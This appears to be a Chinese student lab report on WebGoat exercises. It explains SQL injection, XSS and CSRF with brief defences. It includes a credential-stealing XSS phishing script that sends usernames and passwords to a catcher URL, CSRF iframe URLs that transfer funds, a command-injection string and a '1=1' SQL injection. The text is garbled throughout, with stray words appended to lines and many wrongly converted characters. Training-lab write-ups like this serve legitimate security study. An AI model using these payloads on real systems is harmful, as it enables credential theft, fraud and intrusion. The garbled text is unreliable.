(1)SQL注入攻擊原理,如何防護javascript
SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。html
一、 普通用戶與系統管理員用戶的權限要有嚴格的區分。java
二、 強迫使用參數化語句。web
三、 增強對用戶輸入的驗證。正則表達式
四、使用SQL Server數據庫自帶的安全參數。sql
五、使用正則表達式過濾傳入的參數,對一些包含sql注入的關鍵字進行過濾。數據庫
(2)XSS攻擊的原理,如何防護瀏覽器
XSS是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。XSS攻擊的主要目的則是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的生份登錄,作一些破壞。預防措施,防止下發界面顯示html標籤,把</>等符號轉義安全
一、在表單提交或者url參數傳遞前,對須要的參數進行過濾。服務器
二、消除網站的XSS漏洞,須要網站開發者運用轉義安全字符等手段。
(3)CSRF攻擊原理,如何防護
CSRF(Cross site request forgery),即跨站請求僞造。咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF確實,借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
通常並且存在XSS漏洞的網站,也極有可能存在CSRF漏洞。由於CSRF攻擊中的那個「僞造的請求」的URL地址,通常是經過XSS攻擊來注入到服務器中的。因此其實CSRF是以XSS爲基礎的,也能夠看作是XSS攻擊的一種。
1.referer:由於僞造的請求通常是從第三方網站發起的,因此第一個防護方法就是判斷 referer 頭,若是不是來自本網站的請求,就斷定爲CSRF攻擊。可是該方法只能防護跨站的csrf攻擊,不能防護同站的csrf攻擊(雖然同站的csrf更難)。
2.使用驗證碼:每個重要的post提交頁面,使用一個驗證碼,由於第三方網站是沒法得到驗證碼的。還有使用手機驗證碼,好比轉帳是使用的手機驗證碼。
3.使用token:每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。
4.將敏感操做又get改成post,而後在表單中使用token. 儘可能使用post也有利於防護CSRF攻擊。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
存儲型XSS攻擊代碼存儲於數據庫中,每次當用戶打開此網頁時便會執行,危害大,經常使用於留言板,每次當用戶查看留言信息時即觸發。致使用戶訪問時載入非預期的頁面或內容。
具體實例來講明就是,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。網站後臺程序將留言內容存儲在數據中,以後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使黑客留言的腳本自己應該做爲內容顯示在留言板的,而後此時可能黑客的留言腳本被瀏覽器解釋執行了。而後黑客經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息,以後重定向網站到一個釣魚網站;從新更改頁面內容,僞裝讓客戶輸入用戶名、密碼,而後提交到黑客的服務器。
存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
此次實驗的原理: 當在HTTP響應中使用未經驗證的用戶輸入時,可能發生XSS。在一個反射的XSS攻擊中,攻擊者能夠用攻擊腳本製做URL並將其張貼到另外一個網站上,發送電子郵件,或者以其餘方式讓受害者點擊它。
打開xss的第三個攻擊,在code框中輸入帶有攻擊性的URL做爲輸入源:
跨站請求僞造,它與XSS不一樣之處在於,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性
以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件
咱們在message框中輸入這樣一串代碼
PS:注意這裏面的Screen和menu的值每一個人可能不同,能夠在當前頁面的下邊有個Parameters進行查看,而後經過寬高設置成1像素,隱藏掉這個圖片。我這裏src=688,menu=900。
實驗原理是:目標是向包含多個惡意請求的新聞組發送電子郵件:第一個轉移資金,第二個請求確認第一個請求被觸發的提示。URL應該指向這個CSRF提示的攻擊servlet,經過PASS課程的屏幕、菜單參數和一個額外的參數「TrimeBoover」,它具備一個數字值,好比「5000」來啓動一個傳輸,一個字符串值「確認」完成它。您能夠從右邊的插圖複製該課程的參數,建立「攻擊」格式的URL。屏幕= xxx和菜單= yyy和轉移資金= ZZZ」。不管誰收到這封電子郵件,恰巧在那時被認證,他的資金將被轉移。當您認爲攻擊成功時,刷新頁面,您將在左側菜單中找到綠色檢查
和上邊的那個實驗同樣,查看頁面下邊Parameters中的src和menu值,此次又變成了678和900。
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM">
SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令,好比不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。
"& netstat -an & ipconfig"
右鍵選擇send to repeater
進入repeater頁標籤,選擇Params將其中station的值改成101 or 1=1,點擊Go運行,查看右側代碼能夠看到包中的SQL語句爲
SELECT * FROM weather_data WHERE station = 101 or 1=1
必定要注意!!!:在關閉了burpsuite以後,把瀏覽器的修改一改回去,不然瀏覽器上不了網,我在這弄了特別久T_T。
此次實驗實在webgoat平臺上作各類攻擊,發現這個平臺仍是很好用的,就是全英文很難受,實驗全程離不開有道翻譯T_T。雖然作的很開心,可是感受之後上網很懼怕了,攻擊太多種多樣了,隨便登陸如下就可能被套取密碼,看來仍是要當心呀。